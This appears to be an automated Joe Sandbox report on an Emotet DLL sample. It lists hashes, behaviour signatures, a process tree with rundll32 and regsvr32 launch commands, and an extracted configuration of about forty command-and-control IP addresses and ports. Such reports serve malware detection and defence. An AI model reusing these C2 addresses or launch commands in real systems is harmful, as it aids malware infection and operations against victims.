Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PYCkUgesWB.com_15e2f984de986ecb59e38a1c3a4a2300

Overview

General Information

Sample Name:PYCkUgesWB.com_15e2f984de986ecb59e38a1c3a4a2300 (renamed file extension from com_15e2f984de986ecb59e38a1c3a4a2300 to dll)
Analysis ID:666431
MD5:15e2f984de986ecb59e38a1c3a4a2300
SHA1:795383a71c9030a2c52624795a1e539bfedbf84c
SHA256:1e9a7692e74e98ac5d21a4d3bfb3696d69d8306e4e42d53bcb4604b3dff420bb
Tags:droppedexe
Infos:

Detection

Emotet
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
C2 URLs / IPs found in malware configuration
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Deletes files inside the Windows folder
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Found evasive API chain (may stop execution after checking a module file name)
Contains functionality to dynamically determine API calls
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Found inlined nop instructions (likely shell or obfuscated code)
PE file contains an invalid checksum
PE file contains strange resources
Tries to load missing DLLs
Drops PE files to the windows directory (C:\Windows)
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries
Registers a DLL
Queries disk information (often used to detect virtual machines)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll64.exe (PID: 6924 cmdline: loaddll64.exe "C:\Users\user\Desktop\PYCkUgesWB.dll" MD5: 4E8A40CAD6CCC047914E3A7830A2D8AA)
    • cmd.exe (PID: 6940 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • rundll32.exe (PID: 6960 cmdline: rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1 MD5: 73C519F050C20580F8A62C849D49215A)
    • regsvr32.exe (PID: 6948 cmdline: regsvr32.exe /s C:\Users\user\Desktop\PYCkUgesWB.dll MD5: D78B75FC68247E8A63ACBA846182740E)
      • regsvr32.exe (PID: 5304 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XSYhmb\vuKI.dll" MD5: D78B75FC68247E8A63ACBA846182740E)
    • rundll32.exe (PID: 6972 cmdline: rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AjkRVrFNnyQmqXQdrComyaiwV MD5: 73C519F050C20580F8A62C849D49215A)
    • rundll32.exe (PID: 7024 cmdline: rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AkMhEGvNFpnSswjeCw MD5: 73C519F050C20580F8A62C849D49215A)
    • rundll32.exe (PID: 7044 cmdline: rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,BMIWqtk MD5: 73C519F050C20580F8A62C849D49215A)
    • regsvr32.exe (PID: 2820 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AfzDfnhsGeYDyd\OsmuofIfhwEGDVL.dll" MD5: D78B75FC68247E8A63ACBA846182740E)
  • svchost.exe (PID: 2444 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5732 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4884 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5100 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["87.106.97.83:7080", "118.98.72.86:443", "93.104.209.107:8080", "157.230.99.206:8080", "104.244.79.94:443", "88.217.172.165:8080", "103.41.204.169:8080", "85.214.67.203:8080", "196.44.98.190:8080", "198.199.70.22:8080", "62.171.178.147:8080", "210.57.209.142:8080", "178.238.225.252:8080", "139.59.80.108:8080", "103.224.241.74:8080", "103.71.99.57:8080", "157.245.111.0:8080", "128.199.242.164:8080", "103.56.149.105:8080", "128.199.217.206:443", "85.25.120.45:8080", "190.145.8.4:443", "165.232.185.110:8080", "178.62.112.199:8080", "103.85.95.4:8080", "188.225.32.231:4143", "103.126.216.86:443", "37.44.244.177:8080", "64.227.55.231:8080", "190.107.19.179:443", "83.229.80.93:8080", "103.254.12.236:7080", "104.248.225.227:8080", "36.67.23.59:443", "43.129.209.178:443", "165.22.254.236:8080", "175.126.176.79:8080", "202.134.4.210:7080", "202.29.239.162:443", "46.101.98.60:8080", "54.37.228.122:443", "5.253.30.17:7080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0yb8XUwABAI4=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW6785UwAHAJM="]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.492629360.000001E200010000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
    00000002.00000002.479464350.0000000001580000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
      00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
        00000005.00000002.477702534.000001EC47BF0000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
          0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
            Click to see the 9 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            3.2.rundll32.exe.20500010000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
              4.2.rundll32.exe.1b23e930000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                0.2.loaddll64.exe.1e200010000.1.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                  6.2.rundll32.exe.21dbea20000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                    11.2.regsvr32.exe.2310000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                      Click to see the 9 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:192.168.2.7174.138.33.494978670802404316 07/16/22-19:12:04.677504
                      SID:2404316
                      Source Port:49786
                      Destination Port:7080
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Multi AV Scanner detection for submitted file
                      Source: PYCkUgesWB.dllVirustotal: Detection: 66%Perma Link
                      Source: PYCkUgesWB.dllMetadefender: Detection: 42%Perma Link
                      Source: PYCkUgesWB.dllReversingLabs: Detection: 80%
                      Antivirus detection for URL or domain
                      Source: https://174.138.33.49:7080/aAvira URL Cloud: Label: malware
                      Source: https://174.138.33.49:7080/s64Avira URL Cloud: Label: malware
                      Source: https://174.138.33.49:7080/NumAvira URL Cloud: Label: malware
                      Source: https://174.138.33.49:7080/uAvira URL Cloud: Label: malware
                      Source: 0000000B.00000002.885655028.0000000000898000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Emotet {"C2 list": ["87.106.97.83:7080", "118.98.72.86:443", "93.104.209.107:8080", "157.230.99.206:8080", "104.244.79.94:443", "88.217.172.165:8080", "103.41.204.169:8080", "85.214.67.203:8080", "196.44.98.190:8080", "198.199.70.22:8080", "62.171.178.147:8080", "210.57.209.142:8080", "178.238.225.252:8080", "139.59.80.108:8080", "103.224.241.74:8080", "103.71.99.57:8080", "157.245.111.0:8080", "128.199.242.164:8080", "103.56.149.105:8080", "128.199.217.206:443", "85.25.120.45:8080", "190.145.8.4:443", "165.232.185.110:8080", "178.62.112.199:8080", "103.85.95.4:8080", "188.225.32.231:4143", "103.126.216.86:443", "37.44.244.177:8080", "64.227.55.231:8080", "190.107.19.179:443", "83.229.80.93:8080", "103.254.12.236:7080", "104.248.225.227:8080", "36.67.23.59:443", "43.129.209.178:443", "165.22.254.236:8080", "175.126.176.79:8080", "202.134.4.210:7080", "202.29.239.162:443", "46.101.98.60:8080", "54.37.228.122:443", "5.253.30.17:7080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0yb8XUwABAI4=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW6785UwAHAJM="]}
                      Source: C:\Windows\System32\regsvr32.exeCode function: 11_2_000000018001C9F0 FindFirstFileW,FindNextFileW,11_2_000000018001C9F0
                      Source: C:\Windows\System32\loaddll64.exeCode function: 4x nop then movzx eax, byte ptr [rcx+rdx]0_2_10005790

                      Networking

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 174.138.33.49 7080Jump to behavior
                      Snort IDS alert for network traffic
                      Source: TrafficSnort IDS: 2404316 ET CNC Feodo Tracker Reported CnC Server TCP group 9 192.168.2.7:49786 -> 174.138.33.49:7080
                      C2 URLs / IPs found in malware configuration
                      Source: Malware configuration extractorIPs: 87.106.97.83:7080
                      Source: Malware configuration extractorIPs: 118.98.72.86:443
                      Source: Malware configuration extractorIPs: 93.104.209.107:8080
                      Source: Malware configuration extractorIPs: 157.230.99.206:8080
                      Source: Malware configuration extractorIPs: 104.244.79.94:443
                      Source: Malware configuration extractorIPs: 88.217.172.165:8080
                      Source: Malware configuration extractorIPs: 103.41.204.169:8080
                      Source: Malware configuration extractorIPs: 85.214.67.203:8080
                      Source: Malware configuration extractorIPs: 196.44.98.190:8080
                      Source: Malware configuration extractorIPs: 198.199.70.22:8080
                      Source: Malware configuration extractorIPs: 62.171.178.147:8080
                      Source: Malware configuration extractorIPs: 210.57.209.142:8080
                      Source: Malware configuration extractorIPs: 178.238.225.252:8080
                      Source: Malware configuration extractorIPs: 139.59.80.108:8080
                      Source: Malware configuration extractorIPs: 103.224.241.74:8080
                      Source: Malware configuration extractorIPs: 103.71.99.57:8080
                      Source: Malware configuration extractorIPs: 157.245.111.0:8080
                      Source: Malware configuration extractorIPs: 128.199.242.164:8080
                      Source: Malware configuration extractorIPs: 103.56.149.105:8080
                      Source: Malware configuration extractorIPs: 128.199.217.206:443
                      Source: Malware configuration extractorIPs: 85.25.120.45:8080
                      Source: Malware configuration extractorIPs: 190.145.8.4:443
                      Source: Malware configuration extractorIPs: 165.232.185.110:8080
                      Source: Malware configuration extractorIPs: 178.62.112.199:8080
                      Source: Malware configuration extractorIPs: 103.85.95.4:8080
                      Source: Malware configuration extractorIPs: 188.225.32.231:4143
                      Source: Malware configuration extractorIPs: 103.126.216.86:443
                      Source: Malware configuration extractorIPs: 37.44.244.177:8080
                      Source: Malware configuration extractorIPs: 64.227.55.231:8080
                      Source: Malware configuration extractorIPs: 190.107.19.179:443
                      Source: Malware configuration extractorIPs: 83.229.80.93:8080
                      Source: Malware configuration extractorIPs: 103.254.12.236:7080
                      Source: Malware configuration extractorIPs: 104.248.225.227:8080
                      Source: Malware configuration extractorIPs: 36.67.23.59:443
                      Source: Malware configuration extractorIPs: 43.129.209.178:443
                      Source: Malware configuration extractorIPs: 165.22.254.236:8080
                      Source: Malware configuration extractorIPs: 175.126.176.79:8080
                      Source: Malware configuration extractorIPs: 202.134.4.210:7080
                      Source: Malware configuration extractorIPs: 202.29.239.162:443
                      Source: Malware configuration extractorIPs: 46.101.98.60:8080
                      Source: Malware configuration extractorIPs: 54.37.228.122:443
                      Source: Malware configuration extractorIPs: 5.253.30.17:7080
                      Source: Joe Sandbox ViewASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
                      Source: Joe Sandbox ViewIP Address: 157.230.99.206 157.230.99.206
                      Source: global trafficTCP traffic: 192.168.2.7:49786 -> 174.138.33.49:7080
                      Source: unknownNetwork traffic detected: IP country count 19
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: unknownTCP traffic detected without corresponding DNS query: 174.138.33.49
                      Source: svchost.exe, 0000001B.00000003.752136141.000001705656F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
                      Source: svchost.exe, 0000001B.00000003.752136141.000001705656F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
                      Source: svchost.exe, 0000001B.00000003.752174346.0000017056580000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.752136141.000001705656F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z||.||58dfb4d5-be7e-424e-8739-cac99224843f||1152921505695035586||Null||fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
                      Source: svchost.exe, 0000001B.00000003.752174346.0000017056580000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.752136141.000001705656F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z||.||58dfb4d5-be7e-424e-8739-cac99224843f||1152921505695035586||Null||fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
                      Source: regsvr32.exe, 0000000B.00000003.802858560.000000000092E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.886096275.000000000092E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.887267999.000001897A662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000003.777530501.000001705650B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.804759431.000001705650C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                      Source: svchost.exe, 0000001B.00000002.804530802.0000017055AEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
                      Source: regsvr32.exe, 0000000B.00000002.885967879.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803132902.00000000008F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
                      Source: regsvr32.exe, 0000000B.00000003.802910460.000000000095B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.886221388.000000000095B000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.11.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
                      Source: regsvr32.exe, 0000000B.00000003.574519632.000000000097A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3a38e22c22
                      Source: svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://help.disneyplus.com.
                      Source: svchost.exe, 00000012.00000002.886351225.0000018974CAB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/0
                      Source: svchost.exe, 00000012.00000002.886351225.0000018974CAB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addres
                      Source: regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49/
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49:7080/
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49:7080/Num
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49:7080/a
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49:7080/s64
                      Source: regsvr32.exe, 0000000B.00000002.885863277.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.803078720.00000000008CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://174.138.33.49:7080/u
                      Source: svchost.exe, 0000001B.00000003.776121457.00000170565B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://disneyplus.com/legal.
